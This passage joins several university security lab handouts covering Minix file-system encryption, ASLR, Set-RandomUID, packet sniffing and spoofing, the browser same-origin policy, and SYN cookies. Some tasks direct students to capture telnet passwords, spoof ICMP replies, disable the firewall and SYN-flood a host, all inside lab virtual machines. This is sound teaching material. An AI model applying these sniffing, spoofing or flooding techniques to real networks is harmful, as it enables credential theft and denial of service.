4. # mkfs /dev/c0d1 : Make a normal Minix file system on the new device. A file system begins with a boot block, whose size is fixed at 1024 bytes. It contains an executable code to begin the process of loading the OS. It is not used once the system has booted. The super block follows the boot block and contains the information describing the layout of the file system. The mkfs command plugs information into this super block. For example, the block size to be used and the MAGIC number used to identify the file system. Since Minix3 supports multiple file systems, the MAGIC number is used to differentiate between different File systems. You would need to modify the mkfs command if you are developing a new file system type.

5. # mkdir /MFS: Create a directory for mounting the new file system.

6. # mount /dev/c0d1 /MFS: Mount the file system onto the /MFS directory. The above command performs the following steps for a successful file system mount:
   (a) Set the mounted on flag on the in-memory copy of the inode of /MFS. This flag means that another file system is mounted on /MFS.
   (b) Load the super block of /dev/c0d1 onto the super block table. The system maintains a table of the superblocks of all the file systems that have been recently mounted (even if they are unmounted).
   (c) Change the value of inode-mounted-upon field of super block entry of /dev/c0d1 in the super block table to point to /MFS.

When you try to access the a file on the newly mounted file system, say # cat /MFS/file. The following steps takes place:
   (a) The system first looks up /MFS inode in the root directory.

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(b) It finds the mounted on flag set. It then searches the super block table for superblocks with
inode-mounted-upon pointing to the inode of /MFS.

(c) It then jumps to the root of this mounted file system. The inode-for-the-root-of-mounted-fs field
of the super block points to the root inode of the mounted file system.

(d) It then looks for the file inode on this file system.

If you have come this far then your basic setup is done. All modification will be implemented on this
new hard disk.

4 Design and Implementation issues

4.1 Store extra information in i-node

There are two different ways to use i-node to store extra information for EFS:

- **Without modifying i-node:**
  
  The disk inode for the version 2 and 3 of Minix file system is represented by the following structure:

  ```
typedef struct {
    /* V2.x disk inode */
    mode_t d2_mode; /* file type, protection, etc. */
    u16_t d2_nlinks; /* how many links to this file. HACK! */
    uid_t d2_uid; /* user id of the file’s owner. HACK! */
    u16_t d2_gid; /* group number HACK! */
    off_t d2_size; /* current file size in bytes */
    time_t d2_atime; /* when was file data last accessed */
    time_t d2_mtime; /* when was file data last changed */
    time_t d2_ctime; /* when was inode data last changed */
    zone_t d2_zone[V2_NR_TZONES]; /* block nums for direct,
                                 ind, and dbl ind */
  } d2_inode;
```

  The last zone (i.e., `d2_zone[V2_NR_TZONES-1]`) is unused (it can be used for triple indirect zone,
  which is needed only for very large files). We can use this entry to store our extra information.
  However, this entry has only 32 bits. To store information that is more than 32 bits, we need to
  allocate another disk block to store that information, and store the address of that block in this zone

  - **Modifying i-node:** Another approach is to modify the i-node data structure, and add a new entry to
    it. This can be done by introducing a character array to store the information you want in the inode
    structure. If you do this, you are changing the file system type. A number of issues need to be taken
    care of:

    1. You need to be sure that your inodes are still aligned to the disk blocks. Namely, the size of disk
       block (1024 bytes) has to be a multiple of the size of inode (the original inode size is 64 bytes).
    2. Changing the inode essentially means that we are creating a new file system. A number of
       changes need to be made in the operating system, so the OS can support this new file system.
    3. Defining a new file system allows the EFS to co-exist with the other existing file systems. This
gives you the flexibility to extend it in any way you like without touching other file systems.
4.2 Store extra information in superblock

The superblock contains information necessary to identify file systems. Each file system has its own superblock. File system specific information can be stored here. For example, you can store the information specific to your EFS in the super block. Unlike the modification of inodes, modification/additions to the superblock is quite straightforward.

4.3 Modifying EFS

In Minix, the do_read() and do_write() procedures perform the read and write operations, respectively. Due to the similarity in these operations, both these procedures call read_write(), which calls rw_chunk(), to read data from the block cache to the user space. Somewhere down the procedure call hierarchy rw_block() is invoked to read a block of data from the disk and load it to the block cache. This means that we can implement the encryption/decryption operation in two places:

1. Decrypt a block from the in-memory block cache before passing it to the user space, and encrypt a block while copying it from the user space to the cache. The changes need to be made in rw_chunk() for this approach.

2. Decrypt a block while loading the block cache from the disk and encrypt while writing it back.

The first approach is easier as you already have inode pointing to the block (hence its superblock information and the key you might have stored in the inode). The following snippet from rw_chunk() illustrates the read/write operations to and from the block cache:

```c
if (rw_flag == READING) {
    /* Copy a chunk from the block buffer to user space. */
    /*---------------------------------------------*/
    /* DECRYPT THE BUFFER TO BE COPIED TO USER SPACE */
    /*---------------------------------------------*/
    r = sys_vircopy(FS_PROC_NR, D, (phys_bytes) (bp->b_data+off),
                    usr, seg, (phys_bytes) buff,
                    (phys_bytes) chunk);
    /*---------------------------------------------*/
    /* ENCRYPT THE BUFFER IN THE CACHE BACK AFTER COPYING */
    /*---------------------------------------------*/
}
else {
    /* Copy a chunk from user space to the block buffer. */
    /*---------------------------------------------*/
    r = sys_vircopy(usr, seg, (phys_bytes) buff,
                    FS_PROC_NR, D, (phys_bytes) (bp->b_data+off),
                    (phys_bytes) chunk);
    /*---------------------------------------------*/
    /* ENCRYPT THE BUFFER IN THE CACHE */
    /*---------------------------------------------*/
```
bp->b_dirt = DIRTY;
}

You can use the hints provided in the above code to perform the encryption/decryption operations. However there might be other issues that need to be taken care of in rw_chunk().

5 Suggestions

1. READ the system call implementation manual supplied by your TA.

2. READ Chapter 5 of the Minix book [3].

3. MODULARIZE your design and implementation. This project can be modularized into 3 distinct stages: file system modification, encryption (and decryption), and key management. File system modification should be drive by the design of your key management.

4. DO NOT leave memory leaks and dangling pointers any where in your code.

5. FOLLOW incremental development strategy. Compile the kernel at every stage and test your changes. Put printf statements in your code to trace the kernel code. Even while writing small benign functions, compile and test your code to see the effect. It pays to be paranoid: you don’t want your code to fail during the demo, which does happen if there is a memory leak that leads to a race condition.

6. USE /var/log/messages, which stores the sartup messages. You can refer to it if the screen scrolls too fast.

7. KEEP a copy of the original image in your home directory. You can revert to it if something fails.

8. USE the snapshot feature of Vmware as version control. Take a snapshot if a feature is completely implemented. It is easier to revert to a snapshot rather than finding the code snippet to delete.

9. USE the right image. The image tracker of Minix is buggy. To be sure that you are using the right image, please follow these steps:

   (a) # halt
   (b) dd0s0>ls /boot/image /* List all the images present */
   (c) dp0s0>image=/boot/image/3.1.2arXX /* XX is the latest revision number */
   (d) dp0s0>boot

10. DO NOT try to do this project in one sitting. You are supposed to do it in 3-4 weeks. Spread out the work. Late night coding introduces more errors.

11. DO NOT do this on a real hard disk. You will be risking data corruption.
6 Testing your implementation

You are free to design your own implementation. A sample implementation might look like the following:

1. `# mkfs -e /dev/c0d1 /* Format /dev/c0d1 as an EFS */
   EFS login: ← Password used for authenticating the user

2. `# mount -e /dev/c0d1 /MFS /* Mount EFS /dev/c0d1 on /MFS */
   EFS login: ← Enter the password associated with the given EFS. If the password is wrong, the FS should not be mounted.

3. Copy a file from your drive to /MFS. It will be in clear text when you read it.

4. To demonstrate that encryption/decryption process is working, comment out the authentication procedure and recompile the kernel. Then mount the file system and try reading the file. It should NOT be in clear text.

7 Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. You also need to demonstrate your system to us. Please sign up a demonstration time slot with the TA. Please take the following into consideration when you prepare for demonstration:

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- During the demo, you should consider yourself as salesmen, and you want to sell your system to us. You are given 15 minutes to show us how good your system is. So think about your sales strategies. If you have implemented a great system, but fail to show us how good it is, you are not likely to get a good grade.

- Do turn off the messages your system prints out for debugging purposes. Those messages should not appear in a demonstration.

References


Address Space Layout Randomization Lab

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1 Overview

Address space layout randomization (ASLR) is a computer security technique, which involves randomly arranging the positions of key data areas in a process’s address space. These key data areas usually includes the base of the executable and position of libraries, heap, and stack, etc. Although ASLR does not eliminate vulnerabilities, it can make the exploit of some vulnerabilities much harder. For instance, a common buffer-overflow attack involves loading the shellcode on the stack and overwriting the return address with the starting address of the shellcode. In most cases, attackers have no control over the starting address of the shellcode, they have to guess the address. The probability of a success guess can be significantly reduced if the memory is randomized. Students need to implement ASLR for Minix 3.

2 Memory Layout in Minix3

The PM’s process table is called mproc and its definition is given in /usr/src/servers/pm/mproc.h. The process structure defined in mproc.h contains an array mp_seg which has three entries for text, data and stack segment respectively. Each entry in turn has another three entries storing the virtual address, the physical address and the length of the segment. Minix3 programs can be compiled to use either the combined I and D space (Instruction and Data) space, where the system views the data segment and the text segment as one BIG segment or separate I and D space. Combined I and D spaces are necessary for certain tasks like bootstrapping or cases in which a program needs to modify its own code. By default all the programs are compiled to have Separate I and D spaces. Figure 1 shows a process in memory (OS independent).

When a program is compiled to have a common I and D space, the text segment is always empty and the data segment contains both the text and the data. This is a security vulnerability. The system no longer differentiates between the two segments so the an attacker can load a corrupt assembly on the data segment and make the system execute it(which thinks that its a text code). The memory layout for a combined I and D space takes the following form:

<table>
<thead>
<tr>
<th>Segment</th>
<th>Virtual</th>
<th>Physical</th>
<th>Length</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stack</td>
<td>0x8</td>
<td>0xd0</td>
<td>0x2</td>
</tr>
<tr>
<td>Data</td>
<td>0</td>
<td>0xc8</td>
<td>0x7</td>
</tr>
<tr>
<td>Text</td>
<td>0</td>
<td>0xc8</td>
<td>0</td>
</tr>
</tbody>
</table>

The program, when compiled to have separate I and D space, have non-zero text and data segments. This was however not done for security reasons but for efficiency. Minix3 does not support paging(or virtual memory) and is targeting to be an embedded OS. Having separate I and D has an added advantage of efficiency. Many instances of the same program can share the same text segment. The memory layout for separate I and spaces is represented as follows:
Given a virtual address and a space to which it belongs, it is a simple matter to see whether the virtual address is legal or not, and if legal, what the corresponding physical address is.

The program once compiled needs to be loaded into the memory. The EXEC system call takes care of that.

2.1 EXEC system call

The exec() call does its job in the following steps:

1. Check Permissions- Is the file executable?
2. Get the segment and the total sizes.
3. Fetch the argument and the environment from the caller.
4. Allocate new memory and release unneeded old memory.
5. Copy stack to new memory image.
6. Copy data(and maybe text) segment to new memory image.
7. Handle setuid/setgid bits.
8. Fix up process table entry.
9. Tell the kernel that the process is now runnable.

If we need to randomize the starting address of a variable on stack, then we need to introduce some level of randomness in step 4 or 5. Randomizing the gap space (figure 1) in a way that it does not effect the execution of a process might be one way to do so.

2.2 MALLOC library call

malloc() is used to allocate memory from the heap. It causes the data segment to expand into the lower memory region of the gap area (while the stack eats away the top portion). malloc() invokes the _brk() call (which in turn calls do_brk()) which causes the data segment to grow. do_brk() also checks if the data segment is colliding with the stack segment. If all the conditions are satisfied, the data segment increases by the amount of memory requested (adjustments are made so that it lies on a word boundary). The address of a heap area requested by malloc() can easily be randomized by mallocing a small random sized fragment after execing the process or before mallocing for the first time.

3 Lab Task

This lab expects the students to randomize the stack and the heap. You may use the existent rand() or the random() functions provided by the C library. Consider the following program:

```c
#include<stdio.h>
#include<sys/types.h>
#include<stdlib.h>
#include<alloca.h>
int main(int argc, char *argv[])
{
    int onStack;
    int *onHeap=(int *)malloc(sizeof(int));
    printf("Starting Stack at %x \n Starting Heap at %x\n",&onStack,onHeap);
    free(onHeap);
    return 0;
}
```

3.1 Stack Randomization

The above program should print a different value of the stack on each execution. /usr/src/servers/pm would be good place to insert your code in.

3.2 Heap Randomization

Heap randomization assures that the starting address of the heap is different for each execution. You would need to modify the malloc() library call defined in /usr/src/lib/ansi to achieve this.

4 Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. You also need to demonstrate your
system to us. Please sign up a demonstration time slot with the TA. Please take the following into consideration when you prepare for demonstration:

- The total time of the demo will be 15 minutes, no more additional time would be given. So prepare your demonstration so you can cover the important features.

- You are entirely responsible for showing the demo. We will NOT even touch the keyboard during the demonstration; so you should not depend on us to test your system. If you fail to demo some important features of your system, we will assume that your system does not have those features.

- You need to practice before you come to the demonstration. If the system crashes or anything goes wrong, it is your own fault. We will not debug your problems, nor give you extra time for it.

- During the demo, you should consider yourself as salesmen, and you want to sell your system to us. You are given 15 minutes to show us how good your system is. So think about your sales strategies. If you have implemented a great system, but fail to show us how good it is, you are not likely to get a good grade.

- Do turn off the messages your system prints out for debugging purposes. Those messages should not appear in a demonstration.
Set-RandomUID Lab

Lab Description

When we need to run a program that we do not totally trust, we really do not want to run the program in our own account, because this untrusted program might modify our files. It is desirable if the operating system can create a new user id for us, and allows us to run the program using this new user id. Since the new user id does not own any file, the program cannot read/modify any file unless the file is world-readable/writable. We will design such a mechanism for Minix in this lab.

Lab Tasks

In this lab, you need to design and implement a Set-RandomUID mechanism. When a Set-RandomUID program is executed, the operating system randomly generates a non-existing user id, and runs the program with this new user id as the effective user id. You can consider Set-RandomUID as an opposite to the Set-UID mechanism: Set-UID allows users to escalate their privileges, while Set-RandomUID allows users to downgrade their privileges. The implementation of Set-RandomUID can be similar to that of Set-UID. The following list provides some useful hints:

1. To mark a program as a Set-RandomUID program, we can use the unused sticky bit in the permission field of the I-node data structure (defined in /usr/src/fs/inode.h). You might need to modify the chmod.c file under the /usr/src/commands/simple directory.

2. Before a program is executed, the program will be loaded into memory and a process will be created. The system call exec in /usr/src/mm/exec.c is invoked to handle the tasks. You might need to modify this file.

3. There are a number of potential loopholes in the Set-RandomUID mechanism if you do not take care of them in your design. In your lab report, you need to explain whether they are loopholes. If yes, you need to fix the loopholes in your implementation, and also explain your solutions in your lab report.

   (a) Is it possible for a malicious program to use setuid() and setgid() system calls to defeat Set-RandomUID?

   (b) Is it possible for a malicious program to defeat Set-RandomUID by creating new processes?

4. Bob decides to reserve 0 to 999 for the IDs of actual users. Therefore random user ID starts from 1000, so Bob writes the following statement to generate a random ID.: “unsigned int randomID = rand() + 1000;” Then he assigns the randomID to the effective user ID of the process. Can anything go wrong because of this statement? Please explain.
5. There might be other potential loopholes. We will award up to 50 bonus points to the identified loopholes, 10 points for each.

Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. You also need to demonstrate your system to the TA. Please sign up a demonstration time slot with the TA.
Packet Sniffing and Spoofing Lab

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1 Overview

Packet sniffing and spoofing are the two important concepts in network security; they are two major threats in network communication. Being able to understand these two threats is essential for understanding security measures in networking. There are many packet sniffing and spoofing tools, such as Wireshark, Tcpdump, Netwox, etc. Some of these tools are widely used by security experts, as well as by attackers. Being able to use these tools is important for students, but what is more important for students in a network security course is to understand how these tools work, i.e., how packet sniffing and spoofing are implemented in software.

The objective of this lab is for students to master the technologies underlying most of the sniffing and spoofing tools. Students will play with some simple sniffer and spoofing programs, read their source code, modify them, and eventually gain an in-depth understanding on the technical aspects of these programs. At the end of this lab, students should be able to write their own sniffing and spoofing programs.

2 Lab Tasks

2.1 Task 1: Writing Packet Sniffing Program

Sniffer programs can be easily written using the pcap library. With pcap, the task of sniffers becomes invoking a simple sequence of procedures in the pcap library. At the end of the sequence, packets will be put in buffer for further processing as soon as they are captured. All the details of packet capturing are handled by the pcap library. Tim Carstens has written a tutorial on how to use pcap library to write a sniffer program. The tutorial is available at http://www.tcpdump.org/pcap.htm. In this task, you need to read the tutorial, play with the program sniffex included in the tutorial, read the source code sniffex.c, and solve the following problems:

**Problem 1:** Please use your own words to describe the sequence of the library calls that are essential for sniffer programs. This is meant to be a summary, not detailed explanation like the one in the tutorial.

**Problem 2:** Why do you need the root privilege to run sniffex? Where does the program fail if executed without the root privilege?

**Problem 3:** Please turn on and turn off the promiscuous mode in the sniffer program. Can you demonstrate the difference when this mode is on and off? Please describe how you demonstrate this.
Problem 4: Please write filter expressions to capture each of the followings. In your lab reports, you need to include screendumps to show the results of applying each of these filters.

- Capture the ICMP packets between two specific hosts.
- Capture the TCP packets that have a destination port range from to port 10 - 100.

Problem 5: Please show how you can use sniffex to capture the password when somebody is using telnet on the network that you are monitoring. You may need to modify the sniffex.c a little bit if needed. You also need to start the telnetd server on your VM. If you are using our pre-built VM, the telnetd server is already installed; just type the following command to start it.

% sudo service openbsd-inetd start

2.2 Task 2: Spoofing

When a normal user sends out a packet, operating systems usually do not allow the user to set all the fields in the protocol headers (such as TCP, UDP, and IP headers). OSes will set most of the fields, while only allowing users to set a few fields, such as the destination IP address, and the destination port number, etc. However, if the user has the root privilege, he/she can set any arbitrary field in the packet headers. This is essentially packet spoofing, and it can be done through raw sockets.

Raw sockets give programmers the absolute control over the packet construction, allowing programmers to construct any arbitrary packet, including setting the header fields and the payload. Using raw sockets is quite straightforward; it involves four steps: (1) create a raw socket, (2) set socket option, (3) construct the packet, and (4) send out the packet through the raw socket. There are many online tutorials that can teach you how to use raw sockets in C programming. In this task, we will not focus on any specific tutorial. Your task is to read some of these tutorials, then either write your own packet spoofing program or download a program from other places. After playing with these programs, please solve the following problems:

Problem 6: Please use your own words to describe the sequence of the library calls that are essential for packet spoofing. This is meant to be a summary.

Problem 7: Why do you need the root privilege to run the programs that use raw sockets? Where does the program fail if executed without the root privilege?

Problem 8: Please combine your sniffing and the spoofing programs to implement a sniff-and-then-spoof program. This program monitors its local network; whenever it sees an ICMP echo request packet, it spoofs an ICMP echo reply packet. Therefore, even if the victim machine pings a non-existing machine, it will always see that the machine is alive. Please include screendump in your report to show that your program works. Please also attach the code in your report.

3 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed; you also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.
1 Overview

The security model of existing web browsers is based on the same-origin policy, and provides some basic protection features to web applications. The objective of this lab is to help the students get a good understanding of the same-origin policy. The understanding will be a precursor for other web-related labs such as cross-site scripting and cross-site request forgery.

2 Lab Environment

In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the phpBB message board web application. For the browser, we need to use the LiveHTTPHeaders extension for Firefox to inspect the HTTP requests and responses. The pre-built Ubuntu VM image provided to you has already installed the Firefox web browser with the required extensions.

Starting the Apache Server. The apache web server is also included in the pre-built Ubuntu image. However, the web server is not started by default. You have to first start the web server using one of the following two commands:

```
% sudo apache2ctl start
or
% sudo service apache2 start
```

The phpBB Web Application. The phpBB web application is already set up in the pre-built Ubuntu VM image. We have also created several user accounts in the phpBB server. The password information can be obtained from the posts on the front page. You can access the phpBB server (for this lab) using the following URLs (the apache server needs to be started first):

<table>
<thead>
<tr>
<th>URL</th>
<th>Description</th>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.soplab.com">http://www.soplab.com</a></td>
<td>Local web application</td>
<td>/var/www/SOP/</td>
</tr>
<tr>
<td><a href="http://www.soplabattacker.com">http://www.soplabattacker.com</a></td>
<td>Local web application</td>
<td>/var/www/SOP/attacker/</td>
</tr>
<tr>
<td><a href="http://www.originalphpbb.com">http://www.originalphpbb.com</a></td>
<td>Locally setup phpBB</td>
<td>/var/www/OriginalPhpbb/</td>
</tr>
</tbody>
</table>

Configuring DNS. These URLs are only accessible from inside of the virtual machine, because we have modified the /etc/hosts file to map the domain names of these URLs to the virtual machine’s local IP address (127.0.0.1). Basically, we added the following three entries to the /etc/hosts file:
Laboratory for Computer Security Education

127.0.0.1 www soplab.com
127.0.0.1 www soplabattacker.com
127.0.0.1 www originalphpbb.com

If your web server and browser are running on two different machines, you need to modify the /etc/hosts file on the browser’s machine accordingly to map these URLs to the web server’s IP address.

Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/sites-available" contains the necessary directives for the configuration:

1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the machine (some machines may have multiple IP addresses).

2. Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site. For example, to configure a web site with URL http://www.example1.com with sources in directory /var/www/Example_1/, and to configure a web site with URL http://www.example2.com with sources in directory /var/www/Example_2/, we use the following blocks:

<VirtualHost *>
  ServerName http://www.example1.com
  DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *>
  ServerName http://www.example2.com
  DocumentRoot /var/www/Example_2/
</VirtualHost>

You may modify the web application by accessing the source in the mentioned directories. For example, with the above configuration, the web application http://www.example1.com can be changed by modifying the sources in the directory /var/www/Example_1/.

Disabling Cache. The lab tasks require you to make some modifications to the web applications while you are using them. To ensure the web browser always fetches the page from the modified web application and not from the web browsers cache, you can disable the web browser’s local cache as follows – Type about:config in the address bar and setup the following preferences in the web page you see:

<table>
<thead>
<tr>
<th>Preference</th>
<th>Default</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>browser.cache.memory.enable</td>
<td>true</td>
<td>set to false</td>
</tr>
<tr>
<td>browser.cache.disk.enable</td>
<td>true</td>
<td>set to false</td>
</tr>
<tr>
<td>browser.cache.check_doc_frequency</td>
<td>3</td>
<td>1 = everytime. default = 3 = as needed</td>
</tr>
</tbody>
</table>

You may re-enable the cache after your lab, so that there is no performance degradation of your browsing activities afterward.
### Note for instructors:
This lab may be executed in a supervised fashion in a lab environment. In such cases, the instructor may provide some background information at the beginning of the lab such as:

1. How to use the Firefox browser and the `LiveHTTPHeadersExtension`.
2. How to use the pre-configured virtual machine.

### 3 Background

Web browsers are essentially user agents that interact with web sites/web applications on behalf of their users. Typically users visit a web site using the web browser – web browsers forward HTTP requests to the web site on behalf of their users and in turn display the web page returned by the web site in the response.

Web browsers use a security model called the same-origin policy (SOP) for enforcing some access restrictions on web applications. The SOP identifies each web site using its origin, which is a unique combination of protocol, domain, port, and creates a context for each origin. For each origin, the web browser creates a context and stores the resources of the web application from the origin in the context. JavaScript programs from one origin are not allowed to access resources from another origin. Cookies and Document Object Model (DOM) objects are examples of web application resources for which SOP is applied. Furthermore, JavaScript programs may use the `XMLHttpRequest` API to send HTTP requests to web applications. The SOP is also extended to the use of `XMLHttpRequest` API.

First, we will provide some background on cookies, DOM objects, and `XMLHttpRequest` API. Then, we describe the lab tasks that will lead the students to investigate SOP and how it affects the use of cookies, DOM objects, and `XMLHttpRequest` API.

#### 3.1 Document object model (DOM)

Web browsers expose the contents of the web page using the DOM API to JavaScript programs. Figure 1 contains a web page that illustrates the use of DOM API. HTML is a hierarchically structured document. Internally, the DOM object organizes the tags in the web page in the form of a tree. The original structure of the web page in Figure 1 is shown in the following:

```
Document
  |
  <html>
    |
    <head>----------------------<body>
      |                     |
      <title>----<script> <script>---------<input>
```

There are two functions in the web page namely `appendp` and `gethtmlchildren`. The `appendp` function adds a h1 heading and a paragraph element to the body of the web page using the DOM API. The function `gethtmlchildren` displays all the tags that are children of the HTML tag.

#### 3.2 Cookies

Cookies are placeholders for server-provided data in the web browser typically used to track sessions. Each cookie is a key-value pair such as "color=green" and may have some optional attributes:

---

1. We will use the terms web sites and web applications interchangeably.
Figure 1: A web page with a JavaScript program that updates the web page dynamically

- **expires** attribute indicates the cookie’s expiration date in the future.
- **max-age** attribute specifies the lifetime of the cookie in seconds.
- **path** attribute indicates the top directory under which the cookie is shared and accessible.
- **domain** attribute indicates the top domain level under which cookie can be accessed cross domain.
- **secure** is a boolean attribute which enforces that the cookie is transmitted only using HTTPS or another secure protocol.

Web applications can create a cookie in the web browser using the `set-cookie` header in the HTTP response. After cookies are created, web browsers attach the cookies in all the subsequent requests to the web application. Also, JavaScript programs can access, modify, and create cookies. In a JavaScript program, all the cookies in the web application can be referenced using `document.cookie` object.

The HTTP protocol is by its nature stateless. Therefore, web applications use a session-management schemes for associating HTTP requests with a particular user and session. In cookie-based session-management schemes, web applications store the session identifier in a cookie in the web browser. The session cookie is an example of a resource that needs protection to ensure the integrity and correctness of the application.
3.3 XMLHttpRequest

JavaScript programs may use the XMLHttpRequest API to send HTTP requests for a target URL. The following is a simple JavaScript program that uses the XMLHttpRequest API:

```html
<script>
    xhr = new XMLHttpRequest();
    xhr.open(POST,"http://www.originalphpbb.com/posting.php",true);
    xhr.send(null);
</script>
```

The above JavaScript program sends a HTTP POST request to a URL using the open and send methods. The Same-Origin Policy also applies to the target URL used in the send methods.

4 Lab Tasks

Task 1: Understanding DOM and Cookies

The objective of this task is to get familiar with the DOM APIs that can be used for modifying cookies and web pages.

1. Figure 1 illustrates the use of some DOM API. Write a JavaScript function that traverses and displays the entire DOM tree for the web page in Figure 1. The function should show the h1 heading and paragraph added to the document by the appendp function.

2. The phpBB web application uses a cookie-based session management scheme. Identify the name of the session cookie in phpBB. Using the LiveHTTPHeaders extension to find out when the web application creates the session cookie in the web browser; please provide a snapshot of the interactions. The phpBB web application can be accessed using the URL www.originalphpbb.com.

3. Read the source code of www.soplab.com/cookie.html, and understand how to store, read and process the cookies. Write your own JavaScript in cookie.html to display the number of times that the web page has been visited by the current user.

Task 2: SOP for DOM and Cookies

The objective of this task is to illustrate how web browsers identify the origin of web applications and how access restrictions are applied on DOM objects and cookies.

To illustrate SOP for DOM and cookies, we use a web page, located at www.soplab.com/index.html. The web page displays two web pages inside its frames:

```html
<frameset rows="*,75">
    <frame src="about:blank" name="main">
    <frame src="navigation.html">
</frameset>
```

The first frame displays a web page located at www.soplab.com/navigation.html and asks the user to provide the URL for another web page to be displayed in the next frame. When the user provides the URL, a JavaScript program in the first frame displays the requested web page in the second frame. Furthermore, navigation.html has two JavaScript programs that read the source code and cookies of the web page in the second frame. JavaScript programs in navigation.html can reference the
DOM object and the cookies of the web page in the second frame using `parent.main.document` and `parent.main.document.cookie` respectively. Essentially, we have one web page that is accessing the resources of another web page. Recall that the SOP restricts JavaScript programs from one origin from accessing resources in another origin. We will use this web page in the forthcoming tasks to understand the SOP-based access restrictions on cookies and DOM objects.

1. Provide the following URLs to the web page in the first frame and report whether you are able to access its cookies and DOM objects from the first frame.
   - www.soplab.com/index.html
   - www.soplab.com/navigation.html

2. Try to use some cross-domain URL such as `www.google.com` in the URL bar of the first web page and report whether you are able to access its cookies and DOM objects.

3. The web application `www.soplab.com` can be accessed using both http and file protocol in your virtual machine. In the URL bar of the first web page, enter `file:///www.soplab.com/navigation.html` and report whether you are able to access the cookies and DOM object in the second frame.

4. The web server is listening on two ports - 80 and 8080. Provide `http://www.soplab.com:8080/navigation.html` to the first frame, and report whether you are able to read the DOM object and cookies for the web page in the second frame.

5. Not only are the cookie and contents of the frame under the restriction of SOP, several other objects are also restricted, such as the History object and the URL of the frame. Test them on `www.soplab.com/index.html`.

Task 3: SOP for XMLHttpRequest

We have seen a simple example that uses the `XMLHttpRequest` API. A slightly more complex example is contained in `www.soplab.com/navigation.html`. Once you have familiarized yourself with the `XMLHttpRequest` API, you can do the following:

1. Write a JavaScript program to verify whether the SOP is also extended to the target URL of HTTP requests you can create using `XMLHttpRequest` API. Report your observations in the report.

2. What are the dangers of not extending the SOP to the HTTP requests created using `XMLHttpRequest` API. For full credit, you should describe some possible attacks.

Task 4: Exceptions from SOP

There are some exceptions to SOP. In this task you will explore such exceptions.

- Some HTML tags can also trigger a HTTP request within a web page. For example, the `img` tag in a HTML page triggers a HTTP GET request. The question is whether SOP is applied here to restrict the targets of the HTTP request. Please investigate the following HTML tags: `frame`, `iframe`, `img`, and `a`. Verify your hypothesis using experiments, and report your observations. You can craft a web page in `www.soplabattacker.com` to make requests to `www.soplab.com`. 
5 Submission

You need to submit a detailed lab report to describe what you have done and what you have observed. Please provide details using LiveHTTPHeaders, Wireshark, and/or screenshots. You also need to provide explanation to the observations that are interesting or surprising.
SYN-Cookies Exploration Lab

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1 Lab Description

The learning objective of this lab is for students to explore the mechanism of SYN cookies in Linux system. SYN flooding is a type of Denial of Service (DoS) attack. When a SYN packet is received by a server, the server allocates some memory in its SYN queue, so the SYN information can be stored. Then, the server generates an ISN (Initial Sequence Number) and sends an acknowledgment to the client, hoping to receive an acknowledgment back from the client to complete the three-way handshake protocol. The server will hold the allocated memory for a period of time. If the expected acknowledge does not come, the memory will be freed after timeout. In a SYN flooding attack, the expected acknowledge never comes; instead the attacker fakes a large number of SYN packets. Because the server has to allocate memory from its SYN queue for each of these faked SYN packets, it can eventually hit exhaust its memory in the SYN queue. As results, any further SYN packet will be dropped due to the lack of memory.

To resist against SYN flooding attacks, a technique called SYN cookies was proposed. SYN cookies are used to distinguish an authentic SYN packet from a faked SYN packet. When the server sees a possibility of SYN flooding on a port, it generates a syn cookie in place of an ISN, which is transparent to the client. Actually, SYN cookies can be defined as “particular choices of initial TCP sequence numbers by TCP servers”. SYN cookies have the following properties:

1. They are generated when the SYN queue hits the upper limit. The server behaves as if the SYN queue has been enlarged.
2. The generated SYN cookie is used in place of the ISN. The system sends back SYN+ACK response to the client and discards the SYN queue entry.
3. If the server receives a subsequent ACK response from the client, server is able to reconstruct the SYN queue entry using the information encoded in the TCP sequence number.

2 Lab Tasks

2.1 Task 1: SYN Flooding Attacks

You will have to try establishing a legitimate TCP connection once the system is SYN flooded. You should describe your observation with SYN cookies enabled and disabled.

1. SYN cookies disabled: Conduct a SYN flooding attack on the Linux System with SYN cookies disabled and describe how the system behaved. You can disable SYN cookies using the following command:

   # sysctl -w net.ipv4.tcp_syncookies = 0
2. **SYN cookies enabled:** Conduct a SYN flooding attack on the Linux System with SYN cookies enabled and describe how the system behaved. You can enable SYN cookies using the following command:

```
# sysctl -w net.ipv4.tcp_syncookies = 1
```

The following guidelines may help conduct the attacks: (This is tested on Fedora Core 4 and 5).

1. Netwag tool 76 can be used to SYN flood a system with a specific destination port and IP address.
2. Firewall may be enabled on the system by default, it has to be disabled using:

```
# /sbin/service iptables stop
```

3. Status of the firewall can be found using:

```
# /sbin/service iptables status
```

4. You can use the following command to check the SYN cookies status:

```
# sysctl net.ipv4.tcp_syncookies
```

5. The following commands may help in checking the status of SYN flooding attacks:

```
# netstat -ant (This may behave differently on vmware in showing the open connections)
# dmesg
```

### 2.2 Task 2: Exploring the SYN Cookies Implementation

The main goal of this task is to come up with an effective SYN cookies design. The challenge is design a way for the server to generate its ISN, such that SYN flooding attacks will not work.

1. Consider to have a SYN cookie generation equation as follows:

   ```
   cookie = hash(saddr, daddr, sport, dport) + sseq
   ```

   where
   - `saddr`: Source IP Address
   - `daddr`: Destination IP Address
   - `sport`: Source Port
   - `dport`: Destination Port
   - `sseq`: Source Sequence Number.

   The “cookie” generated would be the new ISN. This would satisfy the SYN cookie requirements of generating a unique ISN for a unique combination of above parameters. Moreover, it is possible to recalculate the cookie once an ACK is received back and hence regard it as authenticate SYN.

   Can you discover if this method introduces any new problems to the system?
2. Consider a different SynCookie generation equation as follows:
